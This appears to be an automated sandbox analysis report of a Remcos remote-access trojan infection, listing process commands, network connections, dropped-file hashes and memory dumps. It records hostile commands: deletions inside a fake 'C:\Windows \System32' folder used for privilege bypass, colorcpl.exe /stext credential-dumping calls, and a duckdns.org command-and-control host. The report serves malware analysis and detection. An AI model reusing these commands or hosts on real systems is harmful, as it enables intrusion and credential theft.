C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettingsAdminFlows.exe
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 2
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM cmd.exe
C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\qitlpebdemevmkzmyhzvf"
C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\qitlpebdemevmkzmyhzvf"
C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\tkyeqwmesuwioqnqpslxqmffq"
C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\dfewihxygconywcuzcyqtrawzgjd"
C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\dfewihxygconywcuzcyqtrawzgjd"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2005.filemail.com | udp |
| DE | 50.7.86.226:443 | 2005.filemail.com | tcp |
| DE | 50.7.86.226:443 | 2005.filemail.com | tcp |
| US | 8.8.8.8:53 | 226.86.7.50.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cxcs.microsoft.net | udp |
| GB | 23.206.78.251:443 | cxcs.microsoft.net | tcp |
| US | 8.8.8.8:53 | 251.78.206.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | latestgrace2024.duckdns.org | udp |
| MY | 103.198.26.130:56765 | latestgrace2024.duckdns.org | tcp |
| US | 8.8.8.8:53 | 130.26.198.103.in-addr.arpa | udp |
| MY | 103.198.26.130:56765 | latestgrace2024.duckdns.org | tcp |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
| N/A | 127.0.0.1:45645 | tcp | |
| N/A | 127.0.0.1:56765 | tcp | |
| US | 8.8.8.8:53 | 50.33.237.178.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
Files
memory/1696-0-0x0000000000A20000-0x0000000000A21000-memory.dmp
memory/1696-1-0x0000000000400000-0x0000000000527000-memory.dmp
C:\Users\Public\Libraries\ioeztdcY.pif
| MD5 | c116d3604ceafe7057d77ff27552c215 |
| SHA1 | 452b14432fb5758b46f2897aeccd89f7c82a727d |
| SHA256 | 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301 |
| SHA512 | 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6 |
memory/2024-11-0x0000000000400000-0x000000000041A000-memory.dmp
memory/2024-6-0x0000000000400000-0x0000000001400000-memory.dmp
memory/2024-9-0x0000000000400000-0x0000000001400000-memory.dmp
memory/2024-12-0x0000000000400000-0x0000000001400000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\D65B.tmp\D65C.tmp\D65D.bat
| MD5 | 54147a112fd4c4fffbdeb2eeab926f59 |
| SHA1 | 7f4ae3d3dd6202e47bc02438a947065c7ed115a9 |
| SHA256 | b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46 |
| SHA512 | 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488 |
C:\Users\Public\alpha.exe
| MD5 | 8a2122e8162dbef04694b9c3e0b6cdee |
| SHA1 | f1efb0fddc156e4c61c5f78a54700e4e7984d55d |
| SHA256 | b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450 |
| SHA512 | 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397 |
C:\Windows \System32\per.exe
| MD5 | 85018be1fd913656bc9ff541f017eacd |
| SHA1 | 26d7407931b713e0f0fa8b872feecdb3cf49065a |
| SHA256 | c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5 |
| SHA512 | 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459 |
memory/1696-48-0x0000000000A20000-0x0000000000A21000-memory.dmp
memory/4100-50-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-53-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-54-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-49-0x0000000004A80000-0x0000000005A80000-memory.dmp
memory/4100-55-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-63-0x0000000000400000-0x0000000000482000-memory.dmp
memory/2024-65-0x0000000000400000-0x000000000041A000-memory.dmp
C:\Users\Public\ger.exe
| MD5 | 227f63e1d9008b36bdbcc4b397780be4 |
| SHA1 | c0db341defa8ef40c03ed769a9001d600e0f4dae |
| SHA256 | c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d |
| SHA512 | 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9 |
memory/2024-80-0x0000000000400000-0x0000000001400000-memory.dmp
memory/4100-82-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-83-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-85-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-86-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-88-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-87-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-90-0x0000000000400000-0x0000000000482000-memory.dmp
memory/1836-91-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1808-92-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1808-93-0x0000000000400000-0x0000000000462000-memory.dmp
memory/3508-99-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3508-98-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1836-97-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1808-96-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1836-94-0x0000000000400000-0x0000000000478000-memory.dmp
memory/3508-95-0x0000000000400000-0x0000000000424000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\qitlpebdemevmkzmyhzvf
| MD5 | 982ebb238759653970e22ee9fad24470 |
| SHA1 | 15fca6be8cc4a276c9f70a73f28c52c3b0eead15 |
| SHA256 | c8b9cad5602932ea51b923f39f4b2d9aedf1f4915880d89032ab6636acaf9bea |
| SHA512 | c8777edf0dd3e72e0cf3bb89db2bc7856fed0eeca7199806fec341e9168899e3b700c73a6b2e7cb0e8ccc5523116d6ecfde5c9ebcc83288a162dd1b0ea78201b |
memory/4100-105-0x00000000168C0000-0x00000000168D9000-memory.dmp
memory/4100-109-0x00000000168C0000-0x00000000168D9000-memory.dmp
memory/4100-108-0x00000000168C0000-0x00000000168D9000-memory.dmp
memory/4100-110-0x0000000000400000-0x0000000000482000-memory.dmp
C:\ProgramData\remcos\logs.dat
| MD5 | 32693c34a9397b2bbc4ab5f93a905855 |
| SHA1 | 2feef95ed32058ed786dadd79ec806069228a5ba |
| SHA256 | cf806a64c3d34143bfea5841501905e21d48947044a5ef9ff8f0b6ea216dc414 |
| SHA512 | 4b212fb2052f456856aae6da995c2206cff55c8a7f478be89882309d30186fed85c26e4c8ca3e8a0358d983d233a6fbcd1e76a1c51fadddfbd13801256d4cd08 |
memory/4100-116-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-117-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-124-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-125-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-132-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4100-133-0x0000000000400000-0x0000000000482000-memory.dmp